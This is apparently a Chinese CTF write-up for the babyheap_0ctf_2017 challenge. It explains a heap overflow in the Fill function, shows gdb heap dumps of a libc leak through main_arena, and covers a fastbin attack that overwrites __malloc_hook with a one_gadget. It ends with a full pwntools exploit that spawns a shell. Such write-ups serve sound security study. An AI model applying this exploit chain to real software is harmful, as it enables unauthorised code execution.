新的开始、只记录遇到题目的问题以及解决方法。
题目分析
通过分析源码可以知道
unsigned __int64 __fastcall sub_E7F(__int64 a1)
{
printf("Index: ");
result = sub_138C();//read
v2 = result;
if ( (result & 0x80000000) == 0LL && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = sub_138C();
v3 = result;
if ( (signed int)result > 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}
先读入idx、判断idx是否创建,如果创建则提示输入size。
判断输入的size是否大于0 但是没有和当前idx的size做比较导致,这里的size可控,可以写入比申请chunk时更大的size。
content的输入大小和当前输入的size同大小。
所以这里存在堆溢出。可以覆盖数据到其他堆块。
checksec
[*] '/home/ios/APwn/buuctf/babyheap_0ctf_2017'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
开启了PIE
需要leak libc_base
Leak Libc_base
因为存在堆溢出 可以通过溢出伪造一个fake_small_chunk,接着申请一个smallchuank,利用fake_small_chunk 包含smallchuank头部以及fd bk ,利用dump函数即可获取main_arena地址
过程
Allocate(0x60)#idx=0
Allocate(0x30)#idx=1
通过Fill溢出chunk0 修改fastbin chunk1 的size为small chunk size
包含chunk head size =0x71 ,chunk大小=0x60
修改前堆块分布
gdb-peda$ heap
0x558240ff2000 FASTBIN {
prev_size = 0x0,
size = 0x71,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x558240ff2070 FASTBIN {
prev_size = 0x0,
size = 0x41, //修改前size(包含chunk head)
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x558240ff20b0 PREV_INUSE {
prev_size = 0x0,
size = 0x20f51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
修改后堆块分布
Fill(0,"a"*0x60+p64(0)+p64(0x71))
gdb-peda$ heap
0x557fb7f39000 FASTBIN {
prev_size = 0x0,
size = 0x71,
fd = 0x6161616161616161,
bk = 0x6161616161616161,
fd_nextsize = 0x6161616161616161,
bk_nextsize = 0x6161616161616161
}
0x557fb7f39070 FASTBIN {
prev_size = 0x0,
size = 0x71, //这里通过溢出上面的chunk 修改了此处的size
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x557fb7f390e0 {
prev_size = 0x0,
size = 0x0,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
gdb-peda$
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
接着申请一块small_chunk 并且为了满足check需求,需要在chunk2 内容做处理,因为chunk1 原本大小为0x41 现在我们修改了大小为0x71 所以还缺少0x30 size。chunk2_head包含了0x10剩下的0x20由chunk2_content补充
我们修改chunk2 内容 前0x20为任意数据 ,补充到fake的chunk1的content里,接着伪造一个prev_size 以及 next_size (过fastbin check)
此处next_size 为了构成fastbin循环链表需要满足等于第一次申请的chunk0 size,所以next_size=chunk0_size =0x71
Allocate(0x100)#idx=2
Fill(2,"a"*0x20+p64(0)+p64(0x71))
伪造好堆块将堆块free掉 使fake chunk成为real chunk,
重新分配fake_chunk_size(0x60)
因为fake_chunk占用了chunk2_head(0x10),占用了chunk2_content(0x20)
所以重新分配时会清空这些部分(calloc特性 分配堆块时 会先清空该chunk)
重新分配,接着因为我们的small_chunk(chunk2)的头部被清空了 所以破坏了原本的堆结构,我们需要通过溢出chunk1(0x40),修改回原chunk2 head 以及size
Free(1)
Allocate(0x60)//重新申请
Fill(1,"a"*0x30+p64(0)+p64(0x111)) //溢出chunk1 修改chunk2头部信息
查看当前堆块布局
gdb-peda$ x/40gx 0x55a7bccd2070
0x55a7bccd2070: 0x0000000000000000 0x0000000000000071 //chunk1
0x55a7bccd2080: 0x6161616161616161 0x6161616161616161
0x55a7bccd2090: 0x6161616161616161 0x6161616161616161
0x55a7bccd20a0: 0x6161616161616161 0x6161616161616161
0x55a7bccd20b0: 0x0000000000000000 0x0000000000000111 //chunk2
0x55a7bccd20c0: 0x0000000000000000 0x0000000000000000
0x55a7bccd20d0: 0x0000000000000000 0x0000000000000000
0x55a7bccd20e0: 0x0000000000000000 0x0000000000000071
0x55a7bccd20f0: 0x0000000000000000 0x0000000000000000
0x55a7bccd2100: 0x0000000000000000 0x0000000000000000
0x55a7bccd2110: 0x0000000000000000 0x0000000000000000
0x55a7bccd2120: 0x0000000000000000 0x0000000000000000
0x55a7bccd2130: 0x0000000000000000 0x0000000000000000
0x55a7bccd2140: 0x0000000000000000 0x0000000000000000
0x55a7bccd2150: 0x0000000000000000 0x0000000000000000
0x55a7bccd2160: 0x0000000000000000 0x0000000000000000
0x55a7bccd2170: 0x0000000000000000 0x0000000000000000
0x55a7bccd2180: 0x0000000000000000 0x0000000000000000
0x55a7bccd2190: 0x0000000000000000 0x0000000000000000
0x55a7bccd21a0: 0x0000000000000000 0x0000000000000000
根据small_bin特性,只存在一块时,free掉时指向top_chunk => main_arena+0x58处
所以尝试利用Free函数free掉该small_chunk(chunk2)
注意:free chunk2时需要再申请一个chunk (方式与top chunk 合并)
Allocate(0x60) //防止合并
Free(2)
查看当前堆布局
gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55bca862b0b0 —▸ 0x7fd682405b78 (main_arena+88) ◂— 0x55bca862b0b0
smallbins
empty
largebins
empty
gdb-peda$ x/20gx 0x55bca862b070
0x55bca862b070: 0x0000000000000000 0x0000000000000071 chunk1
0x55bca862b080: 0x6161616161616161 0x6161616161616161
0x55bca862b090: 0x6161616161616161 0x6161616161616161
0x55bca862b0a0: 0x6161616161616161 0x6161616161616161
0x55bca862b0b0: 0x0000000000000000 0x0000000000000111//chunk2
0x55bca862b0c0: 0x00007fd682405b78 0x00007fd682405b78
0x55bca862b0d0: 0x0000000000000000 0x0000000000000000
0x55bca862b0e0: 0x0000000000000000 0x0000000000000071
0x55bca862b0f0: 0x0000000000000000 0x0000000000000000
0x55bca862b100: 0x0000000000000000 0x0000000000000000
gdb-peda$
可以看到当前chunk2 分fd bk 都指向main_arena+88处
接着打印当前fake_chunk1 由于fake_chunk原大小为0x30 所以dump fake_chunk时会打印出chunk2 head 、chunk2 size、chunk2 fd bk 。
print Dump(1)
#print hexDump(1)[:-8]
leak = u64(Dump(1)[-25:-17])-0x58
print "leak:"+hex(leak)
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00\x00\x00\x00\x11\x00\x00\x00x��[\\x7f\x00x��[\\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00
[DEBUG] Sent 0x2 bytes:
'4\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0xa0 bytes:
00000000 43 6f 6e 74 65 6e 74 3a 20 0a 61 61 61 61 61 61 │Cont│ent:│ ·aa│aaaa│
00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000030 61 61 61 61 61 61 61 61 61 61 00 00 00 00 00 00 │aaaa│aaaa│aa··│····│
00000040 00 00 11 01 00 00 00 00 00 00 78 db ea 5b 5c 7f │····│····│··x·│·[\·│
00000050 00 00 78 db ea 5b 5c 7f 00 00 00 00 00 00 00 00 │··x·│·[\·│····│····│
00000060 00 00 00 00 00 00 00 00 00 00 0a 31 2e 20 41 6c │····│····│···1│. Al│
00000070 6c 6f 63 61 74 65 0a 32 2e 20 46 69 6c 6c 0a 33 │loca│te·2│. Fi│ll·3│
00000080 2e 20 46 72 65 65 0a 34 2e 20 44 75 6d 70 0a 35 │. Fr│ee·4│. Du│mp·5│
00000090 2e 20 45 78 69 74 0a 43 6f 6d 6d 61 6e 64 3a 20 │. Ex│it·C│omma│nd: │
000000a0
leak:0x7f5c5beadb20
[*] Stopped process './babyheap_0ctf_2017' (pid 119678)
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
可以看到成功打印出main_arena+88地址
获取libc base
利用工具
https://github.com/bash-c/main_arena_offset
可以快速获取当前main_arena的offset
ios@ubuntu:~/APwn/buuctf$ main_arena /lib/x86_64-linux-gnu/libc.so.6
[+]libc version : glibc 2.23
[+]build ID : BuildID[sha1]=1ca54a6e0d76188105b12e49fe6b8019bf08803a
[+]main_arena_offset : 0x3c4b20
ios@ubuntu:~/APwn/buuctf$
从而可以计算出当前libc_base
leak = u64(Dump(1)[-25:-17])-0x58
print "leak:"+hex(leak)
base=leak-0x3c4b20
Fastbin Attack
leak出了libc base ,接着通过 改malloc_hook为one_gadget 即可成功getshell
找到malloc_hook 地址,寻找满足fastbin 对齐检查的fake chunk addr ,计算malloc_hook距离该fake chunk addr的offset 。溢出chunk0 修改 chunk1的fd指向该fake chunk addr 多次申请堆块 成功在此处申请到chunk。
gdb-peda$ p (void*)&main_arena
$1 = (void *) 0x7f406f115b20 <main_arena>
gdb-peda$ x/20gx 0x7f406f115b20-0x10
0x7f406f115b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f406f115b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7f406f115b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7f406f115b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7f406f115b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7f406f115b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7f406f115b70 <main_arena+80>: 0x0000000000000000 0x000056350ef5f230
0x7f406f115b80 <main_arena+96>: 0x0000000000000000 0x000056350ef5f0b0
0x7f406f115b90 <main_arena+112>: 0x000056350ef5f0b0 0x00007f406f115b88
0x7f406f115ba0 <main_arena+128>: 0x00007f406f115b88 0x00007f406f115b98
gdb-peda$ find_fake_fast 0x7f406f115b10 0x7f
FAKE CHUNKS
0x7f406f115aed FAKE PREV_INUSE IS_MMAPED NON_MAIN_ARENA {
prev_size = 0x406f114260000000,
size = 0x7f,
fd = 0x406edd6e20000000,
bk = 0x406edd6a0000007f,
fd_nextsize = 0x7f,
bk_nextsize = 0x0
}
gdb-peda$
计算fake chunk addr 距离malloc_hook 的offset
gdb-peda$ p/x 0x7f406f115b10-0x7f406f115aed
$2 = 0x23
malloc_hook=base+libc.sym['__malloc_hook']
print hex(malloc_hook)
Free(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23)+p64(0))
Allocate(0x60)#idx
Allocate(0x60)#idx
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
获取onegadget
ios@ubuntu:~/APwn/buuctf$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
利用Fill函数向多次申请后申请到的fake_chunk写入onegadget
因为距离malloc_hook 0x23 所以填充数据 溢出覆盖malloc_hook
再次申请堆块时 会调用malloc_hook
成功getshell
exp
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p =process('./babyheap_0ctf_2017')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#p =remote('pwn.buuoj.cn',20001)
#libc=ELF('x64_libc.so.6')
def Allocate(size):
p.recvuntil("Command:")
p.sendline("1")
p.recvuntil("Size:")
p.sendline(str(size))
def Fill(idx,con):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index:")
p.sendline(str(idx))
p.recvuntil("Size:")
p.sendline(str(len(con)))
p.recvuntil("Content:")
p.sendline(con)
def Free(idx):
p.recvuntil("Command:")
p.sendline("3")
p.recvuntil("Index:")
p.sendline(str(idx))
def Dump(idx):
p.recvuntil("Command:")
p.sendline("4")
p.recvuntil("Index:")
p.sendline(str(idx))
p.recvuntil('Content: \n')
return p.recvline()
Allocate(0x60)#idx=0
Allocate(0x30)#idx=1
#sleep(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71))
Allocate(0x100)#idx=2
Fill(2,"a"*0x20+p64(0)+p64(0x71))
Free(1)
Allocate(0x60)#idx=2
Fill(1,"a"*0x30+p64(0)+p64(0x111))
Allocate(0x60)
Free(2)
#gdb.attach(p)
print Dump(1)
#print hexDump(1)[:-8]
leak = u64(Dump(1)[-25:-17])-0x58
print "leak:"+hex(leak)
#gdb.attach(p)
base=leak-0x3c4b20
malloc_hook=base+libc.sym['__malloc_hook']
print hex(malloc_hook)
Free(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23)+p64(0))
Allocate(0x60)#idx
Allocate(0x60)#idx
Fill(2,"a"*3+p64(0)+p64(0)+p64(base+0x4526a))
#gdb.attach(p)
#gdb.attach(p)
Allocate(0x100)#idx4
p.interactive()